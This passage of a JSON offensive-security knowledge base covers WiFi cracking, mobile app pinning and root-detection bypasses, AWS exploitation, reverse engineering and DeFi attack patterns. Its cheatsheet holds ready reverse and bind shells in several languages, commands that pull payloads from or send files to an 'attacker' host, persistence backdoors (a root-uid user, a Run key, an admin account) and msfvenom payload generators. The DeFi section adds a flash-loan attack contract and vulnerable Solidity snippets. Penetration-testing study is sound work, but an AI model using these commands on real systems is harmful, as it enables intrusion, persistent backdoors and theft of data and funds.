                      "command": "hashcat -m 2500 capture.hccapx wordlist.txt"
                    }
                  ]
                },
                "pmkid_attack": {
                  "description": "PMKID clientless attack",
                  "steps": [
                    {
                      "step": 1,
                      "action": "Capture PMKID",
                      "command": "hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1"
                    },
                    {
                      "step": 2,
                      "action": "Extract PMKID",
                      "command": "hcxpcaptool -z pmkid.16800 capture.pcapng"
                    },
                    {
                      "step": 3,
                      "action": "Crack PMKID",
                      "command": "hashcat -m 16800 pmkid.16800 wordlist.txt"
                    }
                  ]
                }
              }
            },
            "wps_attacks": {
              "description": "WPS vulnerability exploitation",
              "pixie_dust": {
                "description": "Pixie Dust attack",
                "command": "reaver -i wlan0mon -b [bssid] -c [channel] -K 1 -vv",
                "success_rate": "Works on vulnerable routers in seconds"
              },
              "brute_force": {
                "description": "WPS PIN brute force",
                "command": "reaver -i wlan0mon -b [bssid] -c [channel] -vv",
                "time": "4-10 hours average"
              }
            },
            "evil_twin_attacks": {
              "description": "Creating fake access points",
              "tools": [
                "hostapd",
                "dnsmasq",
                "apache2"
              ],
              "steps": [
                {
                  "step": 1,
                  "action": "Create fake AP",
                  "config": "Configure hostapd.conf with target SSID"
                },
                {
                  "step": 2,
                  "action": "Setup DHCP",
                  "config": "Configure dnsmasq for IP assignment"
                },
                {
                  "step": 3,
                  "action": "Create captive portal",
                  "config": "Setup web server with fake login page"
                },
                {
                  "step": 4,
                  "action": "Deauth legitimate clients",
                  "command": "aireplay-ng -0 0 -a [legitimate_ap] wlan0mon"
                }
              ]
            }
          }
        },
        "mobile_app_testing": {
          "android_pentesting": {
            "title": "Android Application Security Testing",
            "difficulty": "intermediate_to_advanced",
            "setup": {
              "environment": {
                "requirements": [
                  "Android device/emulator",
                  "ADB installed",
                  "Burp Suite configured",
                  "Frida server installed"
                ],
                "adb_commands": [
                  "adb devices",
                  "adb shell",
                  "adb install app.apk",
                  "adb pull /data/data/com.app/",
                  "adb logcat"
                ]
              }
            },
            "static_analysis": {
              "decompilation": {
                "tools": [
                  "jadx",
                  "apktool",
                  "dex2jar"
                ],
                "process": [
                  {
                    "step": 1,
                    "tool": "apktool",
                    "command": "apktool d app.apk",
                    "purpose": "Extract resources and smali code"
                  },
                  {
                    "step": 2,
                    "tool": "jadx",
                    "command": "jadx app.apk",
                    "purpose": "Decompile to Java source"
                  },
                  {
                    "step": 3,
                    "tool": "dex2jar",
                    "command": "d2j-dex2jar app.apk",
                    "purpose": "Convert to jar for analysis"
                  }
                ]
              },
              "security_checks": [
                "Hardcoded credentials",
                "API keys in code",
                "Insecure data storage",
                "Weak cryptography",
                "Logging sensitive data",
                "Exported components",
                "Permission analysis"
              ]
            },
            "dynamic_analysis": {
              "frida_hooking": {
                "description": "Runtime manipulation with Frida",
                "common_scripts": [
                  {
                    "name": "SSL Pinning Bypass",
                    "script": "frida --codeshare akabe1/frida-multiple-unpinning -U -f com.app"
                  },
                  {
                    "name": "Root Detection Bypass",
                    "script": "frida --codeshare dzonerzy/fridantiroot -U -f com.app"
                  },
                  {
                    "name": "Method Tracing",
                    "script": "frida-trace -U -f com.app -j '*!*onCreate*/isu'"
                  }
                ]
              },
              "network_interception": {
                "proxy_setup": [
                  "Configure device proxy to Burp",
                  "Install Burp CA certificate",
                  "Handle certificate pinning"
                ],
                "testing_areas": [
                  "API endpoint security",
                  "Authentication flow",
                  "Session management",
                  "Data transmission encryption",
                  "Input validation"
                ]
              }
            }
          },
          "ios_pentesting": {
            "title": "iOS Application Security Testing",
            "difficulty": "advanced",
            "requirements": [
              "Jailbroken iOS device",
              "Cydia installed",
              "SSH access",
              "Frida/Cycript"
            ],
            "static_analysis": {
              "binary_analysis": [
                {
                  "tool": "otool",
                  "usage": "otool -L app.app/app",
                  "purpose": "List shared libraries"
                },
                {
                  "tool": "class-dump",
                  "usage": "class-dump app.app",
                  "purpose": "Extract class information"
                },
                {
                  "tool": "Hopper/IDA",
                  "purpose": "Disassembly and analysis"
                }
              ]
            },
            "dynamic_analysis": {
              "runtime_manipulation": [
                {
                  "tool": "Cycript",
                  "usage": "cycript -p AppName",
                  "capabilities": "Runtime inspection and modification"
                },
                {
                  "tool": "Frida",
                  "usage": "frida -U -n AppName -l script.js",
                  "capabilities": "Method hooking and bypass"
                }
              ],
              "common_tests": [
                "Jailbreak detection bypass",
                "SSL pinning bypass",
                "Keychain dumping",
                "Method swizzling",
                "Binary patching"
              ]
            }
          }
        },
        "cloud_security": {
          "aws_pentesting": {
            "title": "AWS Security Assessment",
            "difficulty": "advanced",
            "reconnaissance": {
              "passive": {
                "techniques": [
                  "DNS enumeration for S3 buckets",
                  "GitHub searching for AWS keys",
                  "Google dorking for exposed resources",
                  "Certificate transparency logs"
                ]
              },
              "active": {
                "tools": [
                  "aws-cli",
                  "pacu",
                  "scout_suite"
                ],
                "enumeration": [
                  {
                    "service": "S3",
                    "commands": [
                      "aws s3 ls",
                      "aws s3api list-buckets",
                      "aws s3api get-bucket-acl --bucket name"
                    ]
                  },
                  {
                    "service": "EC2",
                    "commands": [
                      "aws ec2 describe-instances",
                      "aws ec2 describe-security-groups",
                      "aws ec2 describe-snapshots"
                    ]
                  },
                  {
                    "service": "IAM",
                    "commands": [
                      "aws iam list-users",
                      "aws iam list-roles",
                      "aws iam get-account-authorization-details"
                    ]
                  }
                ]
              }
            },
            "exploitation": {
              "common_attacks": [
                {
                  "name": "S3 Bucket Takeover",
                  "conditions": "Misconfigured bucket permissions",
                  "impact": "Data exposure or modification"
                },
                {
                  "name": "SSRF to Metadata Service",
                  "target": "http://169.254.169.254/",
                  "impact": "Credential extraction"
                },
                {
                  "name": "Lambda Function Exploitation",
                  "vector": "Code injection or privilege escalation",
                  "impact": "Code execution in AWS environment"
                }
              ]
            },
            "post_exploitation": {
              "persistence": [
                "Create new IAM users",
                "Modify existing roles",
                "Deploy Lambda backdoors",
                "Modify CloudFormation templates"
              ],
              "lateral_movement": [
                "AssumeRole across accounts",
                "Cross-service exploitation",
                "VPC peering exploitation",
                "Systems Manager abuse"
              ]
            }
          }
        },
        "reverse_engineering": {
          "binary_analysis": {
            "title": "Binary Reverse Engineering",
            "difficulty": "advanced",
            "static_analysis": {
              "tools": {
                "ghidra": {
                  "description": "NSA reverse engineering tool",
                  "features": [
                    "Decompilation",
                    "Cross-references",
                    "Function graphs",
                    "Scripting support"
                  ],
                  "workflow": [
                    "Import binary",
                    "Run auto-analysis",
                    "Identify main function",
                    "Follow execution flow",
                    "Rename functions/variables"
                  ]
                },
                "ida_pro": {
                  "description": "Industry standard disassembler",
                  "features": [
                    "Advanced decompilation",
                    "Debugging capabilities",
                    "Plugin ecosystem",
                    "Signature matching"
                  ]
                },
                "radare2": {
                  "description": "Open source RE framework",
                  "commands": [
                    "r2 -A binary : Analyze",
                    "afl : List functions",
                    "pdf @ main : Disassemble main",
                    "VV : Visual mode",
                    "s sym.main : Seek to main"
                  ]
                }
              }
            },
            "dynamic_analysis": {
              "debugging": {
                "gdb_enhanced": [
                  {
                    "tool": "GEF",
                    "features": [
                      "Enhanced display",
                      "Heap analysis",
                      "Pattern generation"
                    ]
                  },
                  {
                    "tool": "pwndbg",
                    "features": [
                      "Exploit development",
                      "ROP gadgets",
                      "Memory examination"
                    ]
                  }
                ],
                "techniques": [
                  "Breakpoint analysis",
                  "Step-through execution",
                  "Memory examination",
                  "Register manipulation",
                  "Call stack analysis"
                ]
              }
            }
          },
          "malware_analysis": {
            "title": "Malware Analysis Techniques",
            "difficulty": "expert",
            "safe_environment": {
              "setup": [
                "Isolated VM environment",
                "Network isolation",
                "Snapshot before analysis",
                "Monitoring tools ready"
              ]
            },
            "static_analysis": {
              "steps": [
                "File identification (file, strings)",
                "Hash calculation (md5, sha256)",
                "PE header analysis",
                "Import/Export analysis",
                "String extraction",
                "Packer detection"
              ]
            },
            "dynamic_analysis": {
              "behavioral_monitoring": [
                "Process creation",
                "Registry modifications",
                "File system changes",
                "Network connections",
                "API calls"
              ],
              "tools": [
                "Process Monitor",
                "Process Explorer",
                "Wireshark",
                "API Monitor",
                "Cuckoo Sandbox"
              ]
            }
          }
        }
      },
      "quick_reference.json": {
        "command_cheatsheets": {
          "reconnaissance": {
            "dns": [
              "dig domain.com ANY",
              "host -t ns domain.com",
              "dnsrecon -d domain.com",
              "dnsenum domain.com",
              "fierce --domain domain.com"
            ],
            "subdomain": [
              "sublist3r -d domain.com",
              "amass enum -d domain.com",
              "gobuster dns -d domain.com -w wordlist.txt",
              "ffuf -w wordlist.txt -u http://FUZZ.domain.com"
            ],
            "port_scanning": [
              "nmap -sS -sV -O target",
              "masscan -p1-65535 target --rate=1000",
              "unicornscan target:1-65535",
              "rustscan -a target"
            ]
          },
          "exploitation": {
            "reverse_shells": {
              "bash": "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1",
              "python": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
              "php": "php -r '$sock=fsockopen(\"10.0.0.1\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
              "netcat": "nc -e /bin/sh 10.0.0.1 4444",
              "perl": "perl -e 'use Socket;$i=\"10.0.0.1\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"
            },
            "bind_shells": {
              "netcat": "nc -lvp 4444 -e /bin/sh",
              "python": "python -c 'import socket,subprocess;s=socket.socket();s.bind((\"0.0.0.0\",4444));s.listen(1);c,a=s.accept();subprocess.call([\"/bin/sh\",\"-i\"],stdin=c,stdout=c,stderr=c)'"
            },
            "upgrade_shell": [
              "python -c 'import pty;pty.spawn(\"/bin/bash\")'",
              "export TERM=xterm",
              "stty raw -echo; fg",
              "reset"
            ]
          },
          "file_transfer": {
            "download": {
              "wget": "wget http://attacker/file",
              "curl": "curl -O http://attacker/file",
              "powershell": "powershell -c \"(New-Object Net.WebClient).DownloadFile('http://attacker/file','file')\"",
              "certutil": "certutil -urlcache -f http://attacker/file file",
              "python": "python -c \"import urllib;urllib.urlretrieve('http://attacker/file','file')\""
            },
            "upload": {
              "nc": "nc -w 3 attacker 1234 < file",
              "curl": "curl -X POST -F 'file=@file' http://attacker/upload",
              "base64": "base64 file | nc attacker 1234"
            },
            "serve": {
              "python2": "python -m SimpleHTTPServer 8000",
              "python3": "python3 -m http.server 8000",
              "php": "php -S 0.0.0.0:8000",
              "ruby": "ruby -run -e httpd . -p 8000"
            }
          },
          "persistence": {
            "linux": [
              "echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' >> ~/.bashrc",
              "crontab -e : */5 * * * * /tmp/backdoor.sh",
              "echo 'ssh-rsa KEY' >> ~/.ssh/authorized_keys",
              "useradd -o -u 0 backdoor"
            ],
            "windows": [
              "schtasks /create /sc minute /mo 5 /tn \"Update\" /tr \"C:\\temp\\backdoor.exe\"",
              "reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d C:\\temp\\backdoor.exe",
              "net user backdoor password /add && net localgroup administrators backdoor /add"
            ]
          }
        },
        "payload_generators": {
          "msfvenom": {
            "windows": [
              "msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > shell.exe",
              "msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f dll > shell.dll",
              "msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f psh-reflection > shell.ps1"
            ],
            "linux": [
              "msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf > shell.elf",
              "msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf > shell.elf"
            ],
            "web": [
              "msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f raw > shell.php",
              "msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f war > shell.war",
              "msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 > shell.py"
            ]
          }
        }
      }
    }
  },
  "exploits": {
    "crypto_defi": {
      "exploit_techniques.json": [
        {
          "technique": "Flash Loan Attack Pattern",
          "steps": [
            "1. Initiate flash loan from lending protocol (Aave, dYdX, Uniswap)",
            "2. Use borrowed funds to manipulate target protocol",
            "3. Exploit the manipulated state for profit",
            "4. Repay flash loan with fee",
            "5. Keep remaining profit"
          ],
          "requirements": "No initial capital needed, just gas fees",
          "example_code": "\n                contract FlashLoanAttack {\n                    function executeAttack() external {\n                        // 1. Request flash loan\n                        uint256 amount = 1000000 * 10**18;\n                        IERC20(token).flashLoan(amount);\n                    }\n                    \n                    function onFlashLoan(uint256 amount) external {\n                        // 2. Manipulate protocol\n                        manipulatePrice();\n                        // 3. Exploit\n                        exploit();\n                        // 4. Repay\n                        IERC20(token).transfer(msg.sender, amount + fee);\n                    }\n                }\n                "
        },
        {
          "technique": "MEV Bot Attack",
          "steps": [
            "1. Monitor mempool for profitable transactions",
            "2. Calculate optimal sandwich attack parameters",
            "3. Submit bundle with higher gas price",
            "4. Extract value from victim transaction"
          ],
          "requirements": "MEV bot infrastructure, capital for attacks",
          "tools": [
            "Flashbots",
            "MEV-Boost",
            "Custom mempool monitoring"
          ]
        },
        {
          "technique": "Cross-Chain Bridge Attack",
          "steps": [
            "1. Analyze bridge validation logic",
            "2. Find weakness in proof verification",
            "3. Craft malicious proof or message",
            "4. Submit to bridge contract",
            "5. Withdraw funds that were never deposited"
          ],
          "common_vulnerabilities": [
            "Weak signature verification",
            "Incorrect merkle proof validation",
            "Race conditions in validation",
            "Centralized validator compromise"
          ]
        }
      ],
      "crypto_hacks_comprehensive.json": {
        "major_incidents": [
          {
            "name": "Ronin Bridge Hack",
            "date": "2022-03-29",
            "amount_usd": 625000000,
            "type": "Bridge Exploit",
            "attack_vector": "Private Key Compromise",
            "description": "Attackers compromised private keys of 5 out of 9 validators on the Ronin Network, allowing them to forge withdrawals",
            "technical_details": {
              "vulnerability": "Insufficient validator security",
              "exploit_method": "Social engineering and compromised private keys",
              "affected_protocol": "Ronin Bridge",
              "blockchain": "Ethereum, Ronin"
            }
          },
          {
            "name": "Poly Network Hack",
            "date": "2021-08-10",
            "amount_usd": 611000000,
            "type": "Cross-chain Bridge",
            "attack_vector": "Smart Contract Vulnerability",
            "description": "Attacker exploited a vulnerability in the cross-chain messaging protocol to modify keeper roles",
            "technical_details": {
              "vulnerability": "Privilege escalation through cross-chain message manipulation",
              "exploit_method": "Modified keeper contract permissions",
              "affected_protocol": "Poly Network",
              "blockchain": "Ethereum, BSC, Polygon"
            }
          },
          {
            "name": "FTX Collapse",
            "date": "2022-11-08",
            "amount_usd": 8000000000,
            "type": "Exchange Fraud",
            "attack_vector": "Internal Fraud/Mismanagement",
            "description": "Misuse of customer funds, fraudulent accounting, and unauthorized lending of customer assets",
            "technical_details": {
              "vulnerability": "Lack of proper custody and internal controls",
              "exploit_method": "Misappropriation of customer funds",
              "affected_protocol": "FTX Exchange",
              "blockchain": "Multiple"
            }
          },
          {
            "name": "Wormhole Bridge Hack",
            "date": "2022-02-02",
            "amount_usd": 326000000,
            "type": "Bridge Exploit",
            "attack_vector": "Signature Verification Bypass",
            "description": "Attacker exploited a signature verification vulnerability in the Wormhole bridge guardian",
            "technical_details": {
              "vulnerability": "Incomplete signature verification",
              "exploit_method": "Forged guardian signatures to mint tokens",
              "affected_protocol": "Wormhole Bridge",
              "blockchain": "Solana, Ethereum"
            }
          },
          {
            "name": "Nomad Bridge Hack",
            "date": "2022-08-01",
            "amount_usd": 190000000,
            "type": "Bridge Exploit",
            "attack_vector": "Merkle Root Validation Error",
            "description": "Routine update marked an invalid merkle root as valid, allowing users to withdraw funds that didn't exist",
            "technical_details": {
              "vulnerability": "Incorrect merkle root validation",
              "exploit_method": "Auto-proving of invalid transactions",
              "affected_protocol": "Nomad Bridge",
              "blockchain": "Ethereum, Moonbeam, Milkomeda"
            }
          },
          {
            "name": "Beanstalk Farms",
            "date": "2022-04-17",
            "amount_usd": 182000000,
            "type": "Governance Attack",
            "attack_vector": "Flash Loan Governance Takeover",
            "description": "Attacker used flash loans to gain majority voting power and drain protocol funds",
            "technical_details": {
              "vulnerability": "Weak governance mechanism",
              "exploit_method": "Flash loan to gain temporary voting power",
              "affected_protocol": "Beanstalk",
              "blockchain": "Ethereum"
            }
          },
          {
            "name": "Euler Finance Hack",
            "date": "2023-03-13",
            "amount_usd": 197000000,
            "type": "Smart Contract Exploit",
            "attack_vector": "Donation Attack",
            "description": "Attacker exploited a vulnerability in the donation mechanism to inflate collateral value",
            "technical_details": {
              "vulnerability": "Flawed donation and liquidation logic",
              "exploit_method": "Self-liquidation after donation",
              "affected_protocol": "Euler Finance",
              "blockchain": "Ethereum"
            }
          },
          {
            "name": "Cream Finance Hack",
            "date": "2021-10-27",
            "amount_usd": 130000000,
            "type": "Flash Loan Attack",
            "attack_vector": "Price Oracle Manipulation",
            "description": "Attacker manipulated price oracles using flash loans to borrow against inflated collateral",
            "technical_details": {
              "vulnerability": "Vulnerable price oracle",
              "exploit_method": "Flash loan price manipulation",
              "affected_protocol": "Cream Finance",
              "blockchain": "Ethereum"
            }
          },
          {
            "name": "BadgerDAO Hack",
            "date": "2021-12-02",
            "amount_usd": 120000000,
            "type": "Frontend Attack",
            "attack_vector": "Malicious Frontend Injection",
            "description": "Attacker injected malicious code into the frontend to steal user approvals",
            "technical_details": {
              "vulnerability": "Compromised frontend infrastructure",
              "exploit_method": "Phishing through injected malicious approvals",
              "affected_protocol": "BadgerDAO",
              "blockchain": "Ethereum"
            }
          },
          {
            "name": "Horizon Bridge Hack",
            "date": "2022-06-23",
            "amount_usd": 100000000,
            "type": "Bridge Exploit",
            "attack_vector": "Private Key Compromise",
            "description": "Attacker compromised private keys to drain the bridge",
            "technical_details": {
              "vulnerability": "Compromised multisig keys",
              "exploit_method": "Unauthorized withdrawals",
              "affected_protocol": "Harmony Horizon Bridge",
              "blockchain": "Harmony, Ethereum"
            }
          }
        ],
        "smart_contract_vulnerabilities": [
          {
            "vulnerability": "Reentrancy",
            "description": "Function can be called recursively before the first invocation completes",
            "severity": "Critical",
            "example_code": "\n                // Vulnerable code\n                function withdraw(uint amount) public {\n                    require(balances[msg.sender] >= amount);\n                    msg.sender.call{value: amount}(\"\");  // External call before state update\n                    balances[msg.sender] -= amount;      // State update after call\n                }\n                ",
            "mitigation": "Use checks-effects-interactions pattern, ReentrancyGuard",
            "real_world_examples": [
              "The DAO Hack",
              "Cream Finance",
              "Siren Protocol"
            ]
          },
          {
            "vulnerability": "Integer Overflow/Underflow",
            "description": "Arithmetic operations exceed the maximum or minimum value for the integer type",
            "severity": "High",
            "example_code": "\n                // Vulnerable code (pre-Solidity 0.8.0)\n                uint8 balance = 255;\n                balance += 1;  // Overflows to 0\n                ",
            "mitigation": "Use Solidity 0.8+ or SafeMath library",
            "real_world_examples": [
              "Beauty Chain (BEC)",
              "SMT Token"
            ]
          },
          {
            "vulnerability": "Access Control",
            "description": "Improper access control allows unauthorized users to execute privileged functions",
            "severity": "Critical",
            "example_code": "\n                // Vulnerable code\n                function setOwner(address newOwner) public {\n                    owner = newOwner;  // No access control!\n                }\n                ",
            "mitigation": "Implement proper access modifiers (onlyOwner, role-based)",
            "real_world_examples": [
              "Parity Multisig Wallet",
              "Rubixi"
            ]
          },
          {
            "vulnerability": "Oracle Manipulation",
            "description": "Price oracles can be manipulated to provide incorrect price data",
            "severity": "Critical",
            "example_code": "\n                // Vulnerable code\n                function getPrice() public view returns (uint) {\n                    return uniswapPair.getReserves();  // Can be manipulated with flash loans\n                }\n                ",
            "mitigation": "Use time-weighted average prices (TWAP), multiple oracles",
            "real_world_examples": [
              "Harvest Finance",
              "Value DeFi",
              "Cheese Bank"
            ]
          },
          {
            "vulnerability": "Flash Loan Attack",
            "description": "Large uncollateralized loans used to manipulate protocol state",
            "severity": "High",
            "example_code": "\n                // Attack pattern\n                1. Borrow large amount via flash loan\n                2. Manipulate price/governance/state\n                3. Exploit the manipulation\n                4. Repay flash loan\n                ",
            "mitigation": "Flash loan resistant price oracles, time delays",
            "real_world_examples": [
              "bZx",
              "Harvest Finance",
              "PancakeBunny"
            ]
          },
          {
            "vulnerability": "Front-running",
            "description": "Transactions can be front-run by observing the mempool",
            "severity": "Medium",
            "example_code": "\n                // Vulnerable pattern\n                function buyToken() public {\n                    // Predictable transaction that can be front-run\n                    price = calculatePrice();\n                    transfer(msg.sender, amount);\n                }\n                ",
            "mitigation": "Commit-reveal schemes, private mempools, MEV protection",
            "real_world_examples": [
              "Bancor",
              "Various DEX trades"
            ]
          },
          {
            "vulnerability": "Delegate Call Injection",
            "description": "Unsafe delegatecall allows attacker to execute arbitrary code",
            "severity": "Critical",
            "example_code": "\n                // Vulnerable code\n                function execute(address target, bytes data) public {\n                    target.delegatecall(data);  // Executes in current contract's context\n                }\n                ",
            "mitigation": "Restrict delegatecall targets, validate input",
            "real_world_examples": [
              "Parity Wallet Hack"
            ]
          },
          {
            "vulnerability": "Signature Replay",
            "description": "Signatures can be reused in different contexts",
            "severity": "High",
            "example_code": "\n                // Vulnerable code\n                function withdraw(uint amount, bytes signature) public {\n                    require(verifySignature(amount, signature));\n                    transfer(msg.sender, amount);\n                    // Signature can be replayed!\n                }\n                ",
            "mitigation": "Include nonce, chainId, contract address in signed data",
            "real_world_examples": [
              "Various cross-chain bridges"
            ]
          },
          {
            "vulnerability": "Unchecked Return Values",
            "description": "Failed external calls not properly handled",
            "severity": "Medium",
            "example_code": "\n                // Vulnerable code\n                function transferToken(address token, uint amount) public {\n                    IERC20(token).transfer(msg.sender, amount);  // Return value not checked\n                }\n                ",
            "mitigation": "Always check return values, use SafeERC20",
            "real_world_examples": [
              "Various DeFi protocols"
            ]
          },
          {
            "vulnerability": "Initialization Issues",
            "description": "Contracts not properly initialized or can be re-initialized",
            "severity": "Critical",
            "example_code": "\n                // Vulnerable proxy pattern\n                function initialize(address _owner) public {\n                    // Missing check if already initialized\n                    owner = _owner;\n                }\n                ",
            "mitigation": "Use initializer modifier, prevent re-initialization",
            "real_world_examples": [
              "Parity Wallet",
              "Various proxy implementations"
            ]
          }
        ],
        "defi_attack_vectors": [
          {
            "vector": "Sandwich Attack",
            "description": "Front-run and back-run a transaction to extract value",
            "mechanism": "1. Detect large trade in mempool\n2. Front-run to move price\n3. Let victim trade at worse price\n4. Back-run to capture profit",
            "prevention": "MEV protection, private mempools, slippage limits"
          },
          {
            "vector": "Governance Attack",
            "description": "Exploit governance mechanisms to drain funds",
            "mechanism": "1. Accumulate voting power (buy/borrow/flash loan)\n2. Create malicious proposal\n3. Vote and execute immediately\n4. Drain funds",
            "prevention": "Time locks, vote delegation limits, quorum requirements"
          },
          {
            "vector": "Liquidity Pool Manipulation",
            "description": "Manipulate AMM pool ratios for profit",
            "mechanism": "1. Add/remove liquidity to skew ratios\n2. Execute trades at manipulated prices\n3. Restore pool state\n4. Profit from arbitrage",
            "prevention": "TWAP oracles, larger pools, multi-block delays"
          },
          {
            "vector": "Yield Farm Rugpull",
            "description": "Malicious yield farms that steal deposits",
            "mechanism": "1. Create attractive yield farm\n2. Add migrator function or backdoor\n3. Wait for TVL to grow\n4. Drain all funds via backdoor",
            "prevention": "Audit contracts, check for migrator functions, timelock"
          },
          {
            "vector": "Bridge Exploit",
            "description": "Exploit cross-chain bridge vulnerabilities",
            "mechanism": "1. Find vulnerability in validation\n2. Forge proof or signatures\n3. Mint tokens without deposit\n4. Drain bridge reserves",
            "prevention": "Multiple validators, proper signature verification, audits"
          }
        ],
        "statistics": {
          "total_value_hacked_2021": 3200000000,
          "total_value_hacked_2022": 3800000000,
          "total_value_hacked_2023": 1700000000,
          "most_common_attack_vectors": [
            "Smart Contract Vulnerability",
            "Private Key Compromise",
            "Flash Loan Attack",
            "Bridge Exploit",
            "Rug Pull"
          ]
        }
      }
    }
  },
  "exploitation_guides": {
    "web_exploitation": {
      "sql_injection": {
        "tools": [
          "SQLMap",
          "Burp Suite"
        ]
      },
      "xss": {
        "types": [
          "Reflected",
          "Stored",
          "DOM-based"
        ]
      }
    }
  }
}